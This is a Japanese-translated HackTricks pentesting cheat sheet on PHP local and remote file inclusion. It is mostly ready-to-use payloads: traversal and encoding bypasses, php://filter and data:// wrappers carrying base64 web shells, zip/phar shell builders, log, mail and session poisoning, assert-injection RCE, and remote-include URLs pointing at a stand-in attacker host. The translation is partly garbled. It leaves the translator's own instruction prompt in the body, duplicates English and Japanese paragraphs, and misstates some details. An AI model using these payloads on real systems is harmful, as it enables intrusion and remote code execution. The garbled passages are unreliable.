hacktricks/pentesting-web/file-inclusion/README.md

48 KiB
Raw Blame History

ファイルインクルージョン/パストラバーサル

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProofはすべての暗号バグバウンティの場です。

遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。

Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットですその成長期におけるweb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップして、ハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

ファイルインクルージョン

リモートファイルインクルージョンRFI ファイルはリモートサーバーからロードされます最適コードを書いてサーバーが実行します。PHPでは、これはデフォルトで無効になっています(allow_url_include)。
ローカルファイルインクルージョンLFI サーバーがローカルファイルをロードします。

この脆弱性は、ユーザーがいかなる方法でサーバーがロードするファイルを制御できる場合に発生します。

脆弱なPHP関数require、require_once、include、include_once

この脆弱性を悪用するための興味深いツール:https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

複数の*nix LFIリストを組み合わせ、さらにパスを追加して、次のリストを作成しました:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

/\に変更してみてください
../../../../../を追加してみてください

脆弱性の存在を確認するために、/etc/passwordファイルを見つけるために複数の技術を使用するリストはこちらで見つけることができます。

Windows

複数のリストを統合して、次のリストを作成しました:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

/\に変更してみてください
C:/を削除して../../../../../を追加してみてください

脆弱性の存在を確認するために、/boot.iniファイルを見つけるために複数の技術を使用するリストはこちらで見つけることができます。

OS X

LinuxのLFIリストを確認してください。

基本的なLFIとバイパス

すべての例はローカルファイルインクルージョンのためのものですが、リモートファイルインクルージョンにも適用することができますpage=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。

http://example.com/index.php?page=../../../etc/passwd

非再帰的に剥奪されたトラバーサルシーケンス

In this technique, we will focus on exploiting file inclusion vulnerabilities by using traversal sequences that have been stripped non-recursively. This means that we will not be able to use double encoding or other techniques to bypass input filters.

この技術では、再帰的に剥奪されたトラバーサルシーケンスを使用して、ファイルインクルージョンの脆弱性を悪用します。これは、入力フィルタをバイパスするためのダブルエンコーディングや他の技術を使用することができないことを意味します。

To perform this attack, we need to identify the vulnerable parameter that allows file inclusion. Once we have identified the parameter, we can start testing for traversal vulnerabilities.

この攻撃を実行するには、ファイルインクルージョンを許可する脆弱なパラメータを特定する必要があります。パラメータを特定したら、トラバーサルの脆弱性をテストすることができます。

We will use common traversal sequences such as "../" to navigate through directories and access files outside of the intended scope. However, since the input filters have stripped the recursive traversal sequences, we need to find alternative ways to achieve the same result.

私たちは、"../"などの一般的なトラバーサルシーケンスを使用して、ディレクトリをナビゲートし、意図した範囲外のファイルにアクセスします。ただし、入力フィルタが再帰的なトラバーサルシーケンスを剥奪しているため、同じ結果を得るための代替手段を見つける必要があります。

One approach is to use absolute paths instead of relative paths. By providing the full path to the desired file, we can bypass the input filters and include the file successfully.

一つのアプローチは、相対パスの代わりに絶対パスを使用することです。目的のファイルの完全なパスを提供することで、入力フィルタをバイパスし、ファイルを正常にインクルードすることができます。

For example, if the vulnerable parameter is file, instead of using a traversal sequence like "../", we can provide the absolute path to the file we want to include, such as "/etc/passwd".

例えば、脆弱なパラメータが file の場合、"../" のようなトラバーサルシーケンスを使用する代わりに、インクルードしたいファイルの絶対パス(例:"/etc/passwd")を提供することができます。

By using non-recursive traversal sequences, we can still exploit file inclusion vulnerabilities even when input filters have stripped recursive traversal sequences.

再帰的なトラバーサルシーケンスが剥奪されている場合でも、非再帰的なトラバーサルシーケンスを使用することで、ファイルインクルージョンの脆弱性を利用することができます。

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

ヌルバイト(%00

提供された文字列の末尾に追加の文字をバイパスする(バイパス方法:$_GET['param']."php"

http://example.com/index.php?page=../../../etc/passwd%00

これはPHP 5.4以降で解決済みです

エンコーディング

ダブルURLエンコードおよびその他のような非標準のエンコーディングを使用することができます

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

既存のフォルダから

おそらくバックエンドはフォルダのパスをチェックしています。

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

サーバー上のフォルダーの特定

アプリケーションのコードや許可された文字によっては、ファイルだけでなくフォルダーも再帰的に探索することができる場合があります。そのためには、次の手順を実行します。

  • 現在のディレクトリの「深さ」を特定するために、/etc/passwdLinuxの場合を正常に取得します。
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  • 現在のディレクトリにあるフォルダの名前を推測し、フォルダ名(ここでは private)を追加してから /etc/passwd に戻ります。
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
  • アプリケーションが脆弱である場合、リクエストには2つの異なる結果があります
  • エラー/出力がない場合、この場所には private フォルダが存在しません
  • /etc/passwd からコンテンツを取得した場合、現在のディレクトリに private フォルダが存在することが確認されます
  • このテクニックを使用して発見したフォルダは、クラシックなLFIメソッドを使用してファイルまたは同じテクニックを再帰的に使用してサブディレクトリに対してファズテストを実行できます。

このテクニックを使用して、ファイルシステム内の任意の場所にディレクトリを見つけることも可能です。たとえば、同じ仮定ファイルシステムの深さ3の現在のディレクトリの下で、/var/www/private ディレクトリが含まれているかどうかを確認する場合、次のペイロードを使用します:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

次のコマンドのシーケンスは、sed1を使用してペイロードを生成し、ffuf2などのURLファジングツールの入力として使用することができます。

$ sed 's/^/-H "X-Original-URL: /;s/$/"/' payloads.txt | ffuf -w - -u FUZZ -H "Host: example.com" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -mc all -ac

このコマンドのシーケンスは、payloads.txtファイル内の各ペイロードに対してsedを使用して変換を行い、その結果をffufに渡します。sedコマンドは、各行の先頭に-H "X-Original-URL: を追加し、行の末尾に"を追加します。これにより、ffufは各ペイロードをFUZZとして使用し、HostUser-Agentヘッダーを指定してリクエストを送信します。また、-mc allオプションは、すべてのステータスコードを表示し、-acオプションは、すべてのコンテンツを表示します。

$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"

当然、深さ/場所/入力ディレクトリリストに応じてペイロードを適応させてください。

パスの切り詰め

提供された文字列の末尾にさらに文字を追加することを回避します(回避方法:$_GET['param']."php"

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

常に、パスを偽のディレクトリa/)で始めるようにしてください。

この脆弱性はPHP 5.3で修正されました。

フィルターバイパスのトリック

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

基本的な RFI

このセクションでは、リモートファイルインクルージョンRFI攻撃について説明します。RFIは、ウェブアプリケーションの脆弱性を悪用して、外部のファイルをサーバーに読み込む攻撃手法です。

RFI攻撃は、ウェブアプリケーションがユーザーからの入力を適切に検証せずに使用する場合に発生します。攻撃者は、ウェブアプリケーションが外部ファイルを読み込むためのパラメータを操作し、任意のファイルをサーバーに読み込ませることができます。

RFI攻撃の一般的な手法は、外部のリソースをインクルードするための関数やディレクトリトラバーサル攻撃を利用することです。攻撃者は、リモートサーバー上の任意のファイルを読み込むことができます。これにより、攻撃者は機密情報を盗み出したり、システムに悪意のあるコードを実行したりすることができます。

RFI攻撃を実行するためには、攻撃者はウェブアプリケーションに対してリモートファイルのURLを提供する必要があります。攻撃者は、悪意のあるファイルをホストするリモートサーバーを用意し、そのURLをウェブアプリケーションに送信します。ウェブアプリケーションは、攻撃者が提供したURLを使用して外部ファイルを読み込み、攻撃者の意図した操作を実行します。

RFI攻撃を防ぐためには、ウェブアプリケーションは入力検証とエスケープ処理を適切に行う必要があります。また、外部ファイルの読み込みにはホワイトリストを使用し、信頼できるリソースのみを許可することが重要です。

RFI攻撃は、ウェブアプリケーションのセキュリティに重大な脅威をもたらす可能性があるため、開発者やセキュリティチームはこの攻撃手法に対する理解を深め、適切な対策を講じる必要があります。

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Pythonのルート要素

Pythonでは、次のようなコードでルート要素を指定します。

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

ユーザーが絶対パスを**file_name**に渡す場合、前のパスは単に削除されます。

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

以下は、ハッキング技術に関する本の内容です。以下の内容は、pentesting-web/file-inclusion/README.mdファイルからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。

これは[ドキュメント](https://docs.python.org/3.10/library/os.path.html#os.path.join)による意図された動作です:

> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、絶対パスコンポーネントからの結合が続行されます。

## Javaディレクトリのリスト

Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求**すると、**ディレクトリのリストが返されます**。これは他の言語では起こりません(私の知る限り)。

## 上位25のパラメータ

以下は、ローカルファイルインクルージョンLFIの脆弱性に対して脆弱性のある可能性のある上位25のパラメータのリストです[リンク](https://twitter.com/trbughunters/status/1279768631845494787)から):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

PHPラッパーとプロトコルを使用したLFI / RFI

php://filter

PHPフィルターを使用すると、データを読み取る前または書き込む前に基本的な変更操作を行うことができます。フィルターには5つのカテゴリがあります

  • 文字列フィルター:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: データからタグを削除します("<"と">"の間のすべての文字)
  • このフィルターは、最新バージョンのPHPから消えています
  • 変換フィルター
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 異なるエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>)。サポートされているすべてのエンコーディングのリストを取得するには、コンソールで次のコマンドを実行します:iconv -l

{% hint style="warning" %} convert.iconv.*変換フィルターを悪用すると、任意のテキストを生成することができます。これは、任意のテキストを書き込むか、任意のテキストを処理するような関数を作成するのに役立ちます。詳細については、phpフィルターを介したLFI2RCEを参照してください。 {% endhint %}

  • 圧縮フィルター
  • zlib.deflate: コンテンツを圧縮します(大量の情報を外部に持ち出す場合に便利です)
  • zlib.inflate: データを解凍します
  • 暗号化フィルター
  • mcrypt.* : 廃止予定
  • mdecrypt.* : 廃止予定
  • その他のフィルター
  • phpで実行すると、いくつかの予期しないフィルターが見つかる場合があります:var_dump(stream_get_filters());
  • consumed
  • dechunk: HTTPチャンクエンコーディングを逆転させます
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} 「php://filter」という部分は大文字小文字を区別しません {% endhint %}

php://fd

このラッパーは、プロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれたファイルの内容を外部に持ち出すのに役立つかもしれません:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

以下のように、php://stdin、php://stdout、および php://stderr を使用して、それぞれ ファイルディスクリプタ 0、1、および 2 にアクセスすることもできます(攻撃にどのように役立つかはわかりません)

zip:// および rar://

PHPShell が含まれた Zip または Rar ファイルをアップロードしてアクセスします。
rar プロトコルを悪用するためには、明示的に有効化する必要があります

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://スキームは、データをURLとして表現するための仮想スキームです。このスキームは、データを直接URLに埋め込むことができます。データは、テキスト、画像、音声、ビデオなど、さまざまな形式で表現することができます。

data://スキームは、ファイルインクルージョン攻撃に使用されることがあります。攻撃者は、ウェブアプリケーションのファイルインクルージョンの脆弱性を悪用して、data://スキームを使用して任意のデータを読み取ることができます。

以下は、data://スキームを使用したファイルインクルージョン攻撃の例です。

<?php
$file = $_GET['file'];
include('data://' . $file);
?>

上記のコードでは、攻撃者はfileパラメータを介してファイル名を指定できます。攻撃者は、fileパラメータにdata://スキームを使用して任意のファイルを読み取ることができます。これにより、攻撃者はシステム上の機密情報を取得することができます。

ウェブアプリケーションの開発者は、ファイルインクルージョンの脆弱性を修正するために、入力の検証と適切なエスケープ処理を実装する必要があります。また、不要なファイルインクルージョンの使用を避けることも重要です。

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

楽しい事実XSSをトリガーし、Chromeオーディターをバイパスすることができます。以下のコードを使用しますhttp://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

ただし、このプロトコルはphpの設定で制限されています。allow_url_openallow_url_include を設定する必要があります。

expect://

Expectは有効化する必要があります。これを使用してコードを実行できます。

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POSTパラメーターにペイロードを指定してください。

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

phar://

ウェブがファイルをロードするためにincludeのような関数を使用している場合、.pharファイルを使用してPHPコードを実行することもできます。

{% code title="create_phar.php" %}

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

{% endcode %}

そして、次の行を実行してpharをコンパイルすることができます。

php --define phar.readonly=0 create_path.php

test.pharというファイルが生成されます。これを使用してLFIを悪用することができます。

LFIが単にファイルを読み取り、その中のPHPコードを実行しない場合、例えばfile_get_contents()fopen()file()file_exists()md5_file()filemtime()filesize()などの関数を使用している場合、pharプロトコルを使用してファイルを読み取る際に発生する逆シリアル化を悪用することができます。 詳細については、次の投稿を読んでください:

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

その他のプロトコル

ここに含める可能性のあるプロトコルチェックしてください**

  • php://memoryとphp://temp — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかはわかりません)
  • file:// — ローカルファイルシステムへのアクセス
  • http:// — HTTP(s)のURLへのアクセス
  • ftp:// — FTP(s)のURLへのアクセス
  • zlib:// — 圧縮ストリーム
  • glob:// — パターンに一致するパス名を検索(印刷可能なものを返さないため、ここではあまり役に立ちません)
  • ssh2:// — セキュアシェル2
  • ogg:// — オーディオストリーム(任意のファイルを読み取るのには役に立ちません)

PHPの'assert'を使用したLFI

".. "などのトラバーサル文字列をフィルタリングしているような難解なLFIに遭遇し、"Hacking attempt"や"Nice try!"などの応答が返される場合、'assert'インジェクションペイロードが機能するかもしれません。

次のようなペイロード:

' and die(show_source('/etc/passwd')) or '

次に、このような「file」パラメータを持つPHPコードを正常に悪用します。

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

次に、system()関数を使用して脆弱な「assert」ステートメントでRCEリモートコード実行を行う方法があります。

' and die(system("whoami")) or '

ペイロードを送信する前に、必ずURLエンコードしてください。

HackenProofはすべての暗号バグ報奨金の場所です。

遅延なしで報奨金を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。

Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長するWeb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップして、ハッキングから収益を得ましょう!

{% embed url="https://hackenproof.com/register" %}

PHP Blind Path Traversal

{% hint style="warning" %} このテクニックは、PHP関数ファイルにアクセスするファイルパス制御できる場合に関連しますが、ファイルの内容(単純な**file()**の呼び出しのように)は表示されません。 {% endhint %}

この素晴らしい投稿では、PHPフィルタを介して盲目的なパストラバーサルがどのように悪用され、エラーオラクルを介してファイルの内容を外部に流出させることが説明されています。

要約すると、このテクニックは、「UCS-4LE」エンコーディングを使用してファイルの内容を非常に大きくし、ファイルを開くPHP関数がエラーをトリガーするようにします。

次に、最初の文字を漏洩させるために、フィルタ**dechunkが使用され、他のフィルタ(例:base64またはrot13**)と最後にフィルタconvert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BEが使用され、他の文字が先頭に配置されて漏洩されます。

脆弱性のある可能性のある関数file_get_contentsreadfilefinfo->filegetimagesizemd5_filesha1_filehash_filefileparse_ini_filecopyfile_put_contentsこれには読み取り専用のターゲットのみが対象ですstream_get_contentsfgetsfreadfgetcfgetcsvfpassthrufputs

詳細な技術情報については、上記の投稿を確認してください!

LFI2RCE

基本的なRFI

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Apache/Nginxログファイル経由

ApacheまたはNginxサーバーがinclude関数内でLFIに対して脆弱である場合、/var/log/apache2/access.logまたは/var/log/nginx/access.logにアクセスしようとすることができます。ユーザーエージェントまたはGETパラメータの中に、**<?php system($_GET['c']); ?>**のようなPHPシェルを設定し、そのファイルをインクルードします。

{% hint style="warning" %} シェルにはシングルクォートではなくダブルクォートを使用する場合、ダブルクォートは文字列"quote;"に変更され、PHPはエラーをスローし、他の処理は実行されません。

また、ペイロードを正しく記述することを確認してください。そうしないと、ログファイルの読み込みを試みるたびにPHPがエラーを出し、二度目の機会はありません。 {% endhint %}

これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これによってシェルが破壊される可能性があります。ヘッダーの**authorisation "basic"**にはBase64で"user:password"が含まれており、ログ内でデコードされます。PHPシェルはこのヘッダー内に挿入される可能性があります。

他の可能なログパス:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

メール経由

内部アカウントuser@localhostにPHPのペイロード<?php echo system($_REQUEST["cmd"]); ?>)を含むメールを送信し、**/var/mail/<USERNAME>または/var/spool/mail/<USERNAME>**のパスでユーザーのメールをインクルードしようとしてください。

/proc/*/fd/*を介して

  1. シェルをたくさんアップロードします100個
  2. http://example.com/index.php?page=/proc/$PID/fd/$FDをインクルードします。ここで、$PIDはプロセスのPIDブルートフォースで見つけることができますであり、$FDはファイルディスクリプタこれもブルートフォースで見つけることができますです。

/proc/self/environを介して

ログファイルのように、User-Agentでペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

アップロード経由

ファイルをアップロードできる場合は、シェルのペイロードを注入します(例:<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

ファイルを読みやすく保つために、写真/ドキュメント/PDFのメタデータにインジェクトするのが最適です。

Zipファイルのアップロード経由

PHPシェルが圧縮されたZIPファイルをアップロードし、アクセスします。

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHPセッションを介して

ウェブサイトがPHPセッションPHPSESSIDを使用しているかどうかを確認します。

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHPでは、これらのセッションは_/var/lib/php5/sess\_[PHPSESSID]_ファイルに保存されます。

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

クッキーを <?php system('cat /etc/passwd');?> に設定します。

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

ファイルインクルージョンFile Inclusionを使用してPHPセッションファイルをインクルードする

このテクニックでは、ローカルファイルインクルージョンLocal File Inclusion, LFIを使用して、ターゲットのウェブアプリケーションにおいてPHPセッションファイルをインクルードします。

攻撃手法の概要

  1. ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。
  2. LFI脆弱性を利用して、ウェブアプリケーションのファイルインクルード機能を悪用します。
  3. インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。

攻撃手順

  1. ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。通常、以下のようなパラメータを利用してLFIを試みます。

    http://example.com/page.php?file=../../../etc/passwd
    

    上記の例では、fileパラメータに../../../etc/passwdを指定しています。

  2. LFI脆弱性が存在する場合、ウェブアプリケーションのファイルインクルード機能を悪用します。以下のようなパラメータを利用して、ファイルインクルードを試みます。

    http://example.com/page.php?file=/var/www/html/index.php
    

    上記の例では、fileパラメータに/var/www/html/index.phpを指定しています。

  3. インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。以下のようなパラメータを利用します。

    http://example.com/page.php?file=/var/lib/php/sessions/sess_1234567890abcdef
    

    上記の例では、fileパラメータに/var/lib/php/sessions/sess_1234567890abcdefを指定しています。

対策方法

以下の対策方法を実施することで、LFI攻撃からウェブアプリケーションを保護することができます。

  • 入力検証とエスケープ処理を適切に実施する。
  • ホワイトリスト方式を使用して、許可されたファイルのみをインクルードする。
  • セッションファイルの保存場所を適切に設定する。
  • 最新のセキュリティパッチを適用する。
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

SSHを介して

sshがアクティブな場合、使用されているユーザーを確認します/proc/self/statusおよび/etc/passwdそして**<HOME>/.ssh/id_rsa**にアクセスを試みます。

vsftpdログを介して

このFTPサーバーのログは_/var/log/vsftpd.log_に保存されています。LFIを持っていて公開されたvsftpdサーバーにアクセスできる場合、PHPペイロードをユーザー名に設定してログインを試み、LFIを使用してログにアクセスすることができます。

PHPベース64フィルターを介してbase64を使用

この記事で示されているように、PHPベース64フィルターは非ベース64を無視します。これを利用してファイル拡張子のチェックをバイパスできます。もしも".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。

以下は例のペイロードです:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

PHPフィルタを介してファイル不要

この解説記事では、phpフィルタを使用して任意のコンテンツを生成し、出力として使用できることが説明されています。つまり、ファイルに書き込む必要なしに、インクルードのための任意のphpコードを生成できます。

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

セグメンテーションフォールトを介して

/tmpに一時的に保存されるファイルをアップロードし、同じリクエストセグメンテーションフォールトをトリガーすると、一時ファイルが削除されないため、それを検索できます。

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Nginxの一時ファイルストレージを介して

ローカルファイルインクルージョンを見つけ、NginxがPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません。

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

PHP_SESSION_UPLOAD_PROGRESSを介して

セッションがない場合でも、session.auto_startOffである場合でも、ローカルファイルインクルージョンを見つけた場合、PHP_SESSION_UPLOAD_PROGRESSマルチパートPOSTデータで提供すると、PHPはセッションを有効にします。これを悪用してRCEを取得できます。

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Windowsでの一時ファイルアップロードを介して

ローカルファイルインクルージョンを見つけ、サーバーがWindowsで実行されている場合、RCEを取得できるかもしれません。

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

phpinfo()file_uploads = onを介して

ローカルファイルインクルージョンを見つけ、file_uploads = onで**phpinfo()**を公開するファイルがある場合、RCEを取得できます。

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

compress.zlib + PHP_STREAM_PREFER_STUDIO + パスの開示を介して

ローカルファイルインクルージョンを見つけ、一時ファイルのパスを外部に漏洩できるが、サーバーインクルードするファイルにPHPマークがあるかどうかをチェックしている場合、この競合状態を使用してそのチェックをバイパスすることができます。

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

永遠の待機 + ブルートフォースを介して

LFIを悪用して一時ファイルをアップロードし、サーバーのPHP実行を停止させることができれば、その後、数時間にわたってファイル名をブルートフォースして一時ファイルを見つけることができます。

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

致命的なエラーへ

/usr/bin/phar/usr/bin/phar7/usr/bin/phar.phar7/usr/bin/phar.pharのいずれかのファイルをインクルードします同じものを2回インクルードする必要があります

これがどのように有用かはわかりませんが、有用かもしれません。
PHP致命的なエラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。

参考文献

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

HackenProofはすべての暗号バグ報奨金の場所です。

遅延なしで報酬を受け取る
